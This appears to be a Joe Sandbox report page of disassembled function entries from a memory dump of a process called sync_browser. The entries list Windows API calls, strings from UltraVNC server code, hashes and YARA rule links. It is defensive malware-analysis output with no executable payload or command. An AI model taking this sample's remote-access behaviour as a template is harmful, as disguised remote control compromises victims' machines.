Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$_fileno_ftbuf
String ID:
API String ID: 2434734397-0
Opcode ID: fedb473ed8e07211a0b48662a4d4207601b42be0040328777e4ad7852e106941
Instruction ID: 19ae3e066de2113932afc39ad3033c1d0442a171446d9c304a8524640664d1ec
Opcode Fuzzy Hash: fedb473ed8e07211a0b48662a4d4207601b42be0040328777e4ad7852e106941
Instruction Fuzzy Hash: E1315365A0864A81EA54B72878B0379E2826F41FA0FD14633ED2DC72D9DF7CE800D322

Function 00007FF7E508FFA0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF7E508FFFD

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

free.LIBCMT ref: 00007FF7E5090097

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

free.LIBCMT ref: 00007FF7E50900BF

Strings

l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncpasswd.h : PASSWD : ToText called, xrefs: 00007FF7E508FFE0
This server does not have a valid password enabled. Until a password is set, incoming connections cannot be accepted., xrefs: 00007FF7E5090068
vncclient.cpp : no password specified for server - client rejected, xrefs: 00007FF7E5090053

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$Heapfree$AllocErrorFreeLast_callnewhmalloc
String ID: This server does not have a valid password enabled. Until a password is set, incoming connections cannot be accepted.$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncpasswd.h : PASSWD : ToText called$vncclient.cpp : no password specified for server - client rejected
API String ID: 1063416079-3080451256
Opcode ID: 7436aef3344165f661bf3289f4a794c91dc4c24a9d76a1fefccbb8194f0ba96d
Instruction ID: f08a4980229debf5333b121241dc07e05fd8d96ef6b519fb709f3dcd112bddef
Opcode Fuzzy Hash: 7436aef3344165f661bf3289f4a794c91dc4c24a9d76a1fefccbb8194f0ba96d
Instruction Fuzzy Hash: 2931652161868981EA50BB39E4642A9A351EF84FB0F945332F57EC76D9DE3CD4058361

Function 00007FF7E51337C4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E51337CE
FlsGetValue.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E51337DC
SetLastError.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E5133834

Part of subcall function 00007FF7E51332EC: Sleep.KERNEL32(?,?,?,00007FF7E51337F7,?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19), ref: 00007FF7E5133331

FlsSetValue.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E5133808
free.LIBCMT ref: 00007FF7E513382B

Part of subcall function 00007FF7E513370C: _lock.LIBCMT ref: 00007FF7E5133760
Part of subcall function 00007FF7E513370C: _lock.LIBCMT ref: 00007FF7E513377F

GetCurrentThreadId.KERNEL32 ref: 00007FF7E513381C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 5f2b5b5caa0b08d9e115ab91103603327581cb969fb76fc374ee9c9b2b7431f5
Instruction ID: bb2cb914938ba83a5c207938aab59bf30bfa72f3048cabb6d344d3fec5313c8c
Opcode Fuzzy Hash: 5f2b5b5caa0b08d9e115ab91103603327581cb969fb76fc374ee9c9b2b7431f5
Instruction Fuzzy Hash: 82017524A0974E82FB147F65F474239A2A1BF48F61F885235D91D823D9EE3CF805C636

Function 00007FF7E51299D8 Relevance: 9.0, APIs: 6, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E51299ED
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E51299F8
_flush.LIBCMT ref: 00007FF7E5129A07
_freebuf.LIBCMT ref: 00007FF7E5129A11
_fileno.LIBCMT ref: 00007FF7E5129A19

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flush_freebuf_invalid_parameter_noinfo
String ID:
API String ID: 3613856401-0
Opcode ID: 22e8c468e637d92c8e7f14c6622d0db4cac7223b0f4977f25baec7dc4bd546e1
Instruction ID: 54f0e7c40d14dd8adfb766151090aff629affbca2241c0fc15c138e193f9640c
Opcode Fuzzy Hash: 22e8c468e637d92c8e7f14c6622d0db4cac7223b0f4977f25baec7dc4bd546e1
Instruction Fuzzy Hash: D601D41AE0C64A81FA147A69643137C91509F55F64FA50632EA28C21CBCE3CE881A362

Function 00007FF7E508DEB0 Relevance: 9.0, APIs: 6, Instructions: 30COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7E508DECD
free.LIBCMT ref: 00007FF7E508DED7

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

DeleteObject.GDI32 ref: 00007FF7E508DEE0
free.LIBCMT ref: 00007FF7E508DEEA
DeleteObject.GDI32 ref: 00007FF7E508DEF3
free.LIBCMT ref: 00007FF7E508DEFD

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DeleteObjectfree$ErrorFreeHeapLast_errno
String ID:
API String ID: 2426525106-0
Opcode ID: 19dd2d2afd55e3adf8fb9d01f5eac84cc95537aa2f4af578a0b97840d6351f68
Instruction ID: 7b179b6a4fb8d567b048f992e6d43af96c213de4c4768ab868a7a1b85772a988
Opcode Fuzzy Hash: 19dd2d2afd55e3adf8fb9d01f5eac84cc95537aa2f4af578a0b97840d6351f68
Instruction Fuzzy Hash: B401FF26618B45D2DA54EB66F9A1278B324FF88FC0B844032DA5DC3765DF3DE461C311

Function 00007FF7E5080310 Relevance: 9.0, APIs: 6, Instructions: 30COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7E508032D
free.LIBCMT ref: 00007FF7E5080337

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

DeleteObject.GDI32 ref: 00007FF7E5080340
free.LIBCMT ref: 00007FF7E508034A
DeleteObject.GDI32 ref: 00007FF7E5080353
free.LIBCMT ref: 00007FF7E508035D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DeleteObjectfree$ErrorFreeHeapLast_errno
String ID:
API String ID: 2426525106-0
Opcode ID: 603f918af7fb599e57d4a8c5aa72689e5f4edbcd5d23c5f13df1708e76f5f105
Instruction ID: bda249a51a12cafe7c649a1dbf1f82b1f823b7551804ed64e21f4b8ed4d16974
Opcode Fuzzy Hash: 603f918af7fb599e57d4a8c5aa72689e5f4edbcd5d23c5f13df1708e76f5f105
Instruction Fuzzy Hash: B001FF66618B45D6DA54EB66F9A1278A324FF88FC0B844033DA4DC3765DF3DE4A1C311

Function 00007FF7E508DD20 Relevance: 9.0, APIs: 6, Instructions: 22COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7E508DD37
free.LIBCMT ref: 00007FF7E508DD41

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

DeleteObject.GDI32 ref: 00007FF7E508DD4A
free.LIBCMT ref: 00007FF7E508DD54
DeleteObject.GDI32 ref: 00007FF7E508DD5D
free.LIBCMT ref: 00007FF7E508DD67

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DeleteObjectfree$ErrorFreeHeapLast_errno
String ID:
API String ID: 2426525106-0
Opcode ID: ed0781dc8889168bce117aea87ed44a54f9bb397e4d36f2ca679cd736364b467
Instruction ID: bd1f754c487ff4c5e916f04d98b38799f427e05a941c855a22d6246e2c6a161d
Opcode Fuzzy Hash: ed0781dc8889168bce117aea87ed44a54f9bb397e4d36f2ca679cd736364b467
Instruction Fuzzy Hash: BEF0B766A14A45C2EB50EF65E8A1168A324FF98F84B804032D90DC2269DF3DD856C321

Function 00007FF7E509B810 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 255fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E509B866
ReadFile.KERNEL32 ref: 00007FF7E509B8B8
LeaveCriticalSection.KERNEL32 ref: 00007FF7E509BB99
LeaveCriticalSection.KERNEL32 ref: 00007FF7E509BBB1

Strings

vncclient.cpp : Compress returned error in File Send :%d, xrefs: 00007FF7E509BA26

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterFileRead
String ID: vncclient.cpp : Compress returned error in File Send :%d
API String ID: 3826087893-1161645139
Opcode ID: a901618a62c2e900ccc2fab75a1467ef20a867966cfe858518b3aa7bba12f5c0
Instruction ID: 905779685c5155a6efbbfaad6fb753fe44f92df2b6a9c9de3ddd871de1c0ad90
Opcode Fuzzy Hash: a901618a62c2e900ccc2fab75a1467ef20a867966cfe858518b3aa7bba12f5c0
Instruction Fuzzy Hash: 77B1D632A08A4585F754AF39D8603BD77A1EB84F68F544136EE1D8B6CDCE78D401C761

Function 00007FF7E50C7530 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50C7574
GetProcAddress.KERNEL32 ref: 00007FF7E50C7591
FreeLibrary.KERNEL32 ref: 00007FF7E50C7619

Strings

USER32, xrefs: 00007FF7E50C756D
EnumDisplayDevicesA, xrefs: 00007FF7E50C7587

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: EnumDisplayDevicesA$USER32
API String ID: 145871493-2970514552
Opcode ID: ce794e2cbdb766f9e1c0efda30611b8e823122e68f144a872fe4c48864dd2d5a
Instruction ID: ccdff83bd81f5787889ad04877836b2b568e8db9b686fd79b831802ca0dd6b1f
Opcode Fuzzy Hash: ce794e2cbdb766f9e1c0efda30611b8e823122e68f144a872fe4c48864dd2d5a
Instruction Fuzzy Hash: E831C931608B4A85E671EB25F4643AAA3A0FB86F94F944136EE9D83794DF3CD801C711

Function 00007FF7E50C72F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50C7335
GetProcAddress.KERNEL32 ref: 00007FF7E50C7352
FreeLibrary.KERNEL32 ref: 00007FF7E50C73D9

Strings

USER32, xrefs: 00007FF7E50C732E
EnumDisplayDevicesA, xrefs: 00007FF7E50C7348

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: EnumDisplayDevicesA$USER32
API String ID: 145871493-2970514552
Opcode ID: c302339970f6293fc38423b47487169b7c7610065756fe4ae123da4c8d70ed68
Instruction ID: 057a18ba72ed369a9acf892488f1844176ed4e0d0fc733b90ca434a3c8759b4e
Opcode Fuzzy Hash: c302339970f6293fc38423b47487169b7c7610065756fe4ae123da4c8d70ed68
Instruction Fuzzy Hash: 39319731608B8A85E771EB25F4647A9A3A0FB99F94F940236EE9D83798DF3CD401C711

Function 00007FF7E50C71D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50C7212
GetProcAddress.KERNEL32 ref: 00007FF7E50C722F
FreeLibrary.KERNEL32 ref: 00007FF7E50C729D

Strings

USER32, xrefs: 00007FF7E50C720B
EnumDisplayDevicesA, xrefs: 00007FF7E50C7225

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: EnumDisplayDevicesA$USER32
API String ID: 145871493-2970514552
Opcode ID: 20b902f79b4c6cb6d22b363d0868b8f0204c862da4352ce45faa7478bd25a1e0
Instruction ID: 07112a23c606112a00d77eb7a9ec19050dc34067e1f5422defd09be8e3c0fcff
Opcode Fuzzy Hash: 20b902f79b4c6cb6d22b363d0868b8f0204c862da4352ce45faa7478bd25a1e0
Instruction Fuzzy Hash: 8721A732B08B4941E760EF25F464766A3A4FB85B94F95013AEA5D83784DF3CD4018751

Function 00007FF7E50767E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF7E5076851
RegQueryValueExA.ADVAPI32 ref: 00007FF7E5076889
RegCloseKey.ADVAPI32 ref: 00007FF7E50768BB

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF7E5076838
SubVersionNumber, xrefs: 00007FF7E5076865

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion$SubVersionNumber
API String ID: 3677997916-1834015684
